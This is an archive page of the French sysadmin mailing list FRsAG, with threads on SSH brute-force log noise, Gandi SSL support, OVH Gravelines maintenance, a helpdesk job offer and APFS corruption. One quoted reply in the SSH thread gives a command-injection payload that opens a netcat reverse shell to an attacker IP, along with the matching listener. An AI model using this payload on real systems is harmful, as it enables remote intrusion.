FRsAG

frsag@frsag.org

8 participants
2544 discussions

Re: [SPAM] Re: Filtrage de message au runtime
by Ludovic Levet 02 May '24

02 May '24

Le minimum que l'on fait pour un serveur web frontal de ce type est de mettre en place le mod_security d'apache avec les customs rules qui vont bien ... Et d'y ajouter le bon core rule set : https://github.com/coreruleset/coreruleset J'ai quand même fait l'essai sans le mod_security et ta proposition ne fonctionne pas ... Ce qui ne m’étonne pas car il y a la rule /etc/sudoers.d/httpd Ludo. Nop, ca marche pas. Le 02/05/2024 à 06:45, Julien Reitzel a écrit : > Hello, > > au vu du morceau de php indiqué, il suffit d'envoyer le formulaire avec : > ; nc <IP attaquant> 5555 -e /bin/bash > > du côté attaquant lancer : > $ nc -lvp 5555 > > Et voilà un reverse shell simpliste qui contourne l'auth ssh. > > -- ------------------------------------------------------------------------------------------------------------------------- Ce message inclut une signature numérique. Il certifie que l'expéditeur et le contenue du message sont authentiques. Si votre logiciel de messagerie est compatible, Il doit garantir que le document n'a pas été altéré entre l'instant où l'auteur l'a signé et le moment où le lecteur le consulte. Loi n°2000-230 du 13 mars 2000 Art. 1316, 1316-1, 1316-2, 1316-3, 1316-4 du Code civil. La présence d'un fichier joint 'smime.p7s' (fichier signature) indique que votre client messagerie n'est pas compatible. -------------------------------------------------------------------------------------------------------------------------

4 6

Toc toc un support de chez Gandi ?
by Théo VARIER 02 May '24

02 May '24

Bonjour la liste, c'est une bouteille à la mer : Y a t il quelqu'un de chez Gandi sur cette liste ? Gandi m'a fourni un certificat SSL Std pour un domain sans le sous domaine www. C'est à dire que le certificat est valide pour domain.tld mais pas www.domain.tld Même en régénérant le certificat en utilisant leur ligne de commande pour générer la requête. C'est une première depuis que le service existe ! Pas de réponse à mon ticket depuis hier. Le chat en ligne ne fonctionne pas. Le telephone répond qu'il faut utiliser le formulaire en ligne ... sont ils eux aussi devenus décérébrés, pardon je veux dire, inaccessibles ? En tout cas ils sont devenus complètement hors sol en un temps record ! NB : Aller voir ailleurs n'est pas encore le projet. Merci d'avance Théo VARIER

20 52

Re: Filtrage de message au runtime
by Ludovic Levet 02 May '24

02 May '24

C'est pas faux. C'est jamais une bonne idée de donner des commandes accessible par apache. Bon après, il y a la sécurité filesystem qui fera que ce user (apache) ai le même pourvoir qu'un user lamda sur ton linux et de plus les commandes ne peuvent être utilisées que par le core apache car le mod_security ne permet pas d'utilisé quoique ce soit. Elle en aura fait du chemin cette petite chauves-souris. Et surtout sans déclencher le fail2ban (avec alertes qui vont biens) sur une url qui n'est censée être connu que par des admins. Bref. Rien n'est malheureusement infaillible. Le 01/05/2024 à 22:25, Paul Rolland (ポール・ロラン) a écrit : > Bonjour, > > On Wed, 1 May 2024 21:33:42 +0200 > Ludovic LEVET via FRsAG <frsag(a)frsag.org> wrote: > >> 3) Bon ... (Mode Bigard On ..) En admettant que la chauves-souris elle >> trouve le code de la porte , elle connaisse l’étage de ton appart et >> qu'elle connaisse aussi ton numéro de porte ben elle ouvres son ip au >> ssh et ben il lui reste plus qu'a attaquer l'auth ssh ... > Elle aura surement plus envie de regarder ce que le sudo sur echo et sed > peut lui permettre via apache et la page web ;) > > Paul >

2 2

[frsag.org] E-mail de réinitialisation de mot de passe
by greg＠frsag.org 02 May '24

02 May '24

Bonjour, c'est frsag.org ! You are receiving this e-mail because you or someone else has requested a password for your user account. However, we do not have any record of a user with email frsag(a)frsag.org in our database. This mail can be safely ignored if you did not request a password reset. If it was you, you can sign up for an account using the link below. https://frsag.org/accounts/signup/ Merci d'utiliser frsag.org ! frsag.org

1 0

Re: [SPAM] Re: [SPAM] Re: Filtrage de message au runtime
by Laurent Barme 02 May '24

02 May '24

Le 02/05/2024 à 09:16, Luc Bégault via FRsAG a écrit : > il me parrait préférable de se reposer sur du code trés surveillé comme ssh A propos, est-ce que la faille concernant lzma a été corrigée ? Y a-t-il une meilleure source d'infirmation que https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1068024 ? Sur ce fil le dernier message date du 22 avril sans qu'il soit clair (du moins pour moi) que le problème soit résolu…

1 0

Filtrage de message au runtime
by Stéphane Rivière 01 May '24

01 May '24

Bonjour à toutes et tous, J'ai, comme tout le monde j'imagine, de la brute force via ssh, qui déclenche le très agaçant message en console "fatal: Read from socket failed: Connection reset by peer [preauth]" Ici y'a que de la clé (et passwords invalidés) je ne peux pas filtrer sur les IP entrantes, ni changer le port 22, le plus simple me semble donc d'ignorer la chose. J'ai googlé et ducké sans succès pour voir s'il y avait un moyen de dire au démon sshd de limiter sa prose aux fichiers de logs sans polluer la console. man sshd ou man sshd_config ne m'ont rien dit de sympa (mais j'ai peut être raté une ligne). Avez-vous une opinion ? Ça serait bien de faire un ménage de printemps :) -- Stéphane Rivière Ile d'Oléron - France

10 24

OVH Maintenance éléctrique avec coupure possible sur GRA1&GRA2 le 29/04 & 02/05
by Maximilien Douchet 26 Apr '24

26 Apr '24

Bonjour, Loin de moi l'idée de créer un vent de panique avec le tag [ALERT] mais je pense que cela pourrait intéresser du monde vu l'impact potentiel de la maintenance. (Désolé également pour le doublon sur FRnOG D'après une communication de leur part il semblerais que OVH viens de planifier en urgence une maintenance électrique dans l’intégralité de ses datacenters de Gravelines (GRA1, GRA2, GRA3 & GRA4) les 29/04 et 02/05 (lundi et jeudi de la semaine prochaine S18). Un risque de coupure électrique est envisagé sur au moins les datacenters GRA1 & GRA2 d'après leur communication pendant toute la journée du 29/04 et 02/05 de 8h-16h CEST. Avec un tel risque il est préférable de procéder a une extinction des serveurs au préalable durant les deux journées de maintenance. Il n'y a pas de précisions supplémentaires quand aux serveurs double-alimentés, etc. j'imagine qu'ils sont également concernés par mesure de prudence. Une maintenance de ce type avec coupure dans un délai aussi court est aussi inédite qu'exceptionnelle je suppose que cela est fait pour des raisons très importantes. Vu la capacité des datacenters de Gravelines cela doit concerner (avec une estimation au doigt mouillé) entre 50 000 et 100 000 serveurs. J'imagine que certaines dispositions peuvent être a prendre pour les infrastructures n'étant pas redondées en dehors des datacenters de Gravelines ou au moins pour préserver vos serveurs avec une extinction préalable. Communication OVH : ****FR**** Cher client, Nous devons effectuer une maintenance électrique préventive sur le site de Gravelines la semaine prochaine. Celle-ci se déroulera en 2 étapes, avec une première opération le 29 avril 2024, et une seconde le 2 mai 2024. Cette maintenance touche les serveurs hébergés dans les environnements de Gravelines (GRA1, GRA2, GRA3 et GRA4). Aucun impact n’est attendu sur le périmètre GRA3 et GRA4. Concernant le périmètre GRA1 et GRA2, un risque de coupure électrique a été identifié. Pour vous prémunir de tout impact, nous vous conseillons au préalable d’éteindre vos machines avant chacune des opérations mentionnées ci-dessous : Opération de maintenance (No1) : Créneau : 29/04/2024 de 06:00 UTC à 14:00 UTC Datacenter : Gravelines (GRA1 / GRA2) Impact attendu : Certains serveurs pourraient subir une interruption électrique Page Status : https://network.status-ovhcloud.com/incidents/f8yhd573wk5j Opération de maintenance (No2) : Créneau : 02/05/2024 de 06:00 UTC à 14:00 UTC Datacenter : Gravelines (GRA1 / GRA2) Impact attendu : Certains serveurs pourraient subir une interruption électrique Page Status : https://network.status-ovhcloud.com/incidents/172569g1l20w Nos équipes Datacenter et Support seront mobilisées durant toute la maintenance afin de résoudre tout impact sur vos services. Nous nous excusons par avance pour toute gêne occasionnée. Sincèrement, — Maximilien Douchet Hexanode - Hébergement & Infogérance hexanode.fr - contact(a)hexanode.fr - +339 72 60 54 00

2 4

Re: Filtrage de message au runtime
by David Ponzone 25 Apr '24

25 Apr '24

Paul, Alors oui, j’aurais été tenté de penser pareil, mais je vois que mon sshd sur une Debian classique log déjà vers AUTH.INFO, alors que les lignes de conf sont commentées. Donc ça doit être configuré par défaut, donc je sais pas si enlever les commentaires vont supprimer l’envoi des messages au kernel. Faudrait essayer :) David > Le 25 avr. 2024 à 15:16, Paul Rolland (ポール・ロラン) <rol+frnog(a)witbe.net> a écrit : > > Hello, > > On Thu, 25 Apr 2024 14:56:32 +0200 > David Ponzone <david.ponzone(a)gmail.com> wrote: > >> https://unix.stackexchange.com/questions/13019/description-of-kernel-printk… >> <https://unix.stackexchange.com/questions/13019/description-of-kernel-printk…> > > Le chemin complet, c'est pas plutot : > - sshd avec sshd_config qui contient > # Logging > #SyslogFacility AUTH > #LogLevel INFO > > - [r]syslog qui sait interpreter tout ca, et qui envoie, selon les regles, > vers des fichiers et/ou la console > > Aller directement sur les printk level de la console, ca peut le faire, > mais ca risque de masquer d'autres choses. > > Paul >

2 2

[JOBS] Technicien HelpDesk et Systèmes (avec évolution)
by open doc 22 Apr '24

22 Apr '24

Bonjour, je vous partage une offre d’emploi qui sera bientôt publiée. l'offre est situé sur Vernouillet dans le 78. Pour aller plus loin que les critères techniques, je cherche quelqu'un avec un bon tempérament, qui a envie de d'apprendre et de s’investir. Nous sommes une petite structure, Nous sommes agiles, flexibles et disponibles. L'idée est que la personne, au delà de l’aspect HelpDesk, souhaite progresser sur la partie administration système linux, virtualisation, et monitoring. Je prendrai le temps de former pour déléguer afin que je puisse aussi faire évoluer notre outillage vers des socles techniques plus récents. Nous avons embaucher pas mal de jeune dev (23-28 ans), il y a une bonne ambiance et une bonne dynamique. Pour ma part les compétences, l'investissement, l'envie d'apprendre sont plus importants que le diplôme. Après je ne suis pas le seul a décider, mais j'ai mon mot à dire sur le recrutement. Quant au salaire cela sera à négocier avec le DG lors de l'entretien. Vous pouvez me contacter directement sur ce mail avant d'envoyer votre candidature officielle. Voici l'annonce officielle : METEO CONSULT - La Chaîne Météo est la première société française privée et indépendante de prévisions et d'études météorologiques en France. Créée en 1988, nous sommes le seul acteur opérant dans le secteur de la météorologie à maîtriser l'ensemble des canaux de diffusion : Internet, applications mobiles, tablettes, Audiotel, ... et bien sûr la télévision avec La Chaîne Météo, diffusée sur Canal et en streaming. Nos différents sites web (lachainemeteo.com et meteoconsult.fr) et nos applications mobiles La Chaîne Météo et METEO CONSULT Marine (sous iPhone et Android) réalisent plus de 8 millions de pages vues par jour, notamment grâce à la fluidité des développements effectués en interne, à un contenu éditorial réactualisé plusieurs fois par jour et à une infrastructure informatique performante. METEO CONSULT, édite le BLOC MARINE, guide de référence pour la navigation depuis plus de 60 ans, ainsi que ses variantes numériques et son site Nautisme.com, pour les passionnés de nautisme. Sous la responsabilité de votre responsable, vos missions seront d’assister les utilisateurs internes et d’aider à la gestion et à la supervision de nos moyens de production informatique. De formation minimum bac+2, et avec une solide expérience dans un ou des postes similaires, vous devez avoir les compétences suivantes : - une forte expertise du monde Windows (PC et serveur), - une bonne connaissance des systèmes d’exploitation Apple, - une bonne connaissance des environnements Linux (Debian), - une bonne connaissance des langages de script (sh, bash, ksh) Les compétences suivantes seraient un plus : - connaissance des environnements de virtualisation (VmWare), - connaissance des réseaux (CISCO) - connaissance des applicatifs informatiques web (Nginx), du Loadbalancing (HAProxy), - connaissance des outils de supervision comme Nagios, Grafana. - connaissance des baies de stockage (SAN/NAS), - connaissance de l’administration des serveurs de bases de données (MySQL). L'autonomie, le pragmatisme, l'enthousiasme, la rigueur, le dynamisme, la curiosité, la disponibilité, l'esprit d'équipe et la veille technologique sont des qualités requises pour ce poste. Vous êtes orienté client interne et êtes force de proposition quant aux solutions techniques choisies. Vous avez un excellent relationnel et vous savez faire preuve de patience. Vous participerez en alternance avec les autres membres de l'équipe d’exploitation aux astreintes (week-ends et jours fériés). Le poste est basé à Vernouillet (78), véhicule indispensable pour les trajets domicile-travail. Des déplacements en datacenters sont à prévoir. Rémunération en fonction des diplômes et de l'expérience. Poste à pourvoir de suite. Envoyez votre candidature avec la référence MC-HelpDesk-Systèmes-202404 (lettre de motivation et CV) par e-mail à drh(a)meteoconsult.com

1 0

Volume APFS "invalid key order" - une solution connue ?
by Frederic Dumas 10 Apr '24

10 Apr '24

Bonjour à tous, sous macOS, l'utilitaire Apple fsck_apfs constate la corruption d'un volume APFS (volume externe, impossible à monter), mais ne peut le réparer. % sudo fsck_apfs /dev/disk4s1 Password: ** Checking the container superblock. Checking the checkpoint with transaction ID 4278894. ** Checking the EFI jumpstart record. ** Checking the space manager. ** Checking the space manager free queue trees. ** Checking the object map. ** Checking the encryption key structures. ** Checking volume /dev/rdisk4s1. ** Checking the APFS volume superblock. The volume OSX was formatted by newfs_apfs (748.77.8) and last modified by apfs_kext (2235.41.1). ** Checking the object map. error: btn: oid (345621), xid (4278156), type (0x40000003), subtype (0xb), flags (0x6) level (0) error: btn: invalid key order: minkey is less than index 0 (should be equal) minkey : 63 f8 00 00 00 00 00 00 2c f7 0b 00 00 00 00 00 index 0 key : fd a8 57 00 00 00 00 00 08 21 39 00 00 00 00 00 index 1 key : 0e a9 57 00 00 00 00 00 0c e9 3f 00 00 00 00 00 Checking if the parent's minkey can be updated... error: btn: oid (394781), xid (4278888), type (0x40000003), subtype (0xb), flags (0x4) level (1) error: btn: unable to repair minkey Object map is invalid. ** The volume /dev/rdisk4s1 with UUID 95EA38E5-E132-4498-A975-53259C4A7C4C was found to be corrupt and cannot be repaired. ** Verifying allocated space. ** The volume /dev/rdisk4s1 with UUID 95EA38E5-E132-4498-A975-53259C4A7C4C could not be verified completely. Une sauvegarde de ce volume existe. Mais si l'un d'entre vous a été confronté à ce type de corruption et l'a réparé, ses conseils sont les bienvenus; ça peut servir pour une situation future similaire mais sans sauvegarde. Le web ne m'a pas donné grand chose en réponse aux mots clés "error: btn: invalid key order: minkey is less than index 0 (should be equal)". Pour l'anecdote, c'est l'outil "migration" fourni par Apple, lors d'une lecture des données utilisateur de l'ancienne machine, qui a laissé ce volume APFS dans cet état. Seul un accès en lecture aurait pourtant dû être nécessaire sur ce volume APFS. Un "corner case" sans doute. Merci pour vos conseils. -- Frédéric Dumas f.dumas(a)ellis.siteparc.fr

2 1

Jump to page:

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

FRsAG